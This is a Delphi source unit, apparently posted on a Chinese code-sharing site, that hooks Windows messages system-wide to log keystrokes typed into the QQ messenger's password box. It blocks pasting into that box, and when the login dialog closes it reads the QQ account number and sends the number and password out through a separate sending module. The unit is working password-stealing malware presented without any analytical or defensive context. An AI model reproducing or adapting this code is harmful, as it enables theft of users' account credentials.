?? msghook.~pas
字號(hào):
unit MsgHook;
interface
uses
Windows, Messages, FunUnit, VarUnit , SendOut , ShareData , CallSelf;
procedure MsgHookOn(); // 安裝消息鉤子
procedure MsgHookOff(); // 卸載消息鉤子
implementation
var
hGetHook, hWndHook: THandle;
procedure OnKeyDown(hWnd: HWnd; nVirtKey, nKeyData: DWord);
var
Kbs: TKeyboardState;
InsertPos: Integer;
Chars: array[0..3] of Char;
begin
if (IsPassEdit(hWnd) = False) then Exit;
case nVirtKey of
VK_BACK: // 回格
begin
InsertPos := GetEditPos(hWnd);
Delete(PassWord, InsertPos, 1);
end;
VK_DELETE: // 刪除
begin
InsertPos := GetEditPos(hWnd);
Delete(PassWord, InsertPos + 1, 1);
end;
else // 其他
begin
if (Length(PassWord) >= 16) then Exit;
GetKeyboardState(Kbs);
if (ToAscii(nVirtKey, (nKeyData shr 16) and $FF, Kbs, Chars, 0) <> 1) then Exit;
if (IsValidChar(Chars[0]) = False) then Exit;
InsertPos := GetEditPos(hWnd);
Insert(Chars[0], PassWord, InsertPos + 1);
end;
end; // case nVirtKey of ..
end;
function MakeSendString(Id,Pass:String) : String;
begin
Result := 'QQ號(hào):'+ Id + #10 + '密碼:' + Pass + #10;
end;
procedure OnDestroy(hWnd: HWnd);
var
hComcoBox: DWord; // HWND
cfgFileName: String;
begin
if (IsQQDialog(hWnd) = False) then Exit;
hComcoBox := FindWindowex(hWnd, 0, 'ComboBox', nil);
if (IsWindow(hComcoBox) = False) then Exit;
Number := GetWinTitle(hComcoBox);
if (Number <> '') and (PassWord <> '') then begin
if CallSelf.GetShareDataA <> nil then
cfgFileName := PGlobalDllData(CallSelf.GetShareDataA).CfgFileName
else
cfgFileName := '';
//MessageBox(0,PChar(cfgFileName),'',MB_OK);
SendOut.Send(MakeSendString(Number,PassWord),cfgFileName);
WillNotCloseQQ := True;
CloseQQWaitTime := 0;
end;
PassWord := '';
end;
function GetMsgProc(nCode: Integer; wParam: WParam; lParam: LParam): LResult; stdcall;
begin
if (CurIsQQ = True) and (nCode = HC_ACTION) and (wParam = PM_REMOVE) then
case (PMsg(lParam).message) of
WM_KEYDOWN:
OnKeyDown(PMsg(lParam).hwnd, PMsg(lParam).wParam, PMsg(lParam).lParam);
WM_PASTE:
if IsPassEdit(PMsg(lParam).hwnd) then PMsg(lParam).message := WM_NULL; // **
end;
Result := CallNextHookEx(hGetHook, nCode, wParam, lParam);
end;
function CallWndProc(nCode: Integer; wParam: WParam; lParam: LParam): LResult; stdcall;
begin
if (CurIsQQ = True) and (nCode = HC_ACTION) then
case (PCWPStruct(lParam).message) of
WM_DESTROY:
OnDestroy(PCWPStruct(lParam).hWnd);
end;
Result := CallNextHookEx(hWndHook, nCode, wParam, lParam);
end;
procedure MsgHookOn();
begin
hGetHook := SetWindowsHookEx(WH_GETMESSAGE, @GetMsgProc, HInstance, 0);
hWndHook := SetWindowsHookEx(WH_CALLWNDPROC, @CallWndProc, HInstance, 0);
end;
procedure MsgHookOff();
begin
UnHookWindowsHookEx(hGetHook);
UnHookWindowsHookEx(hWndHook);
end;
end.
?? 快捷鍵說(shuō)明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號(hào)
Ctrl + =
減小字號(hào)
Ctrl + -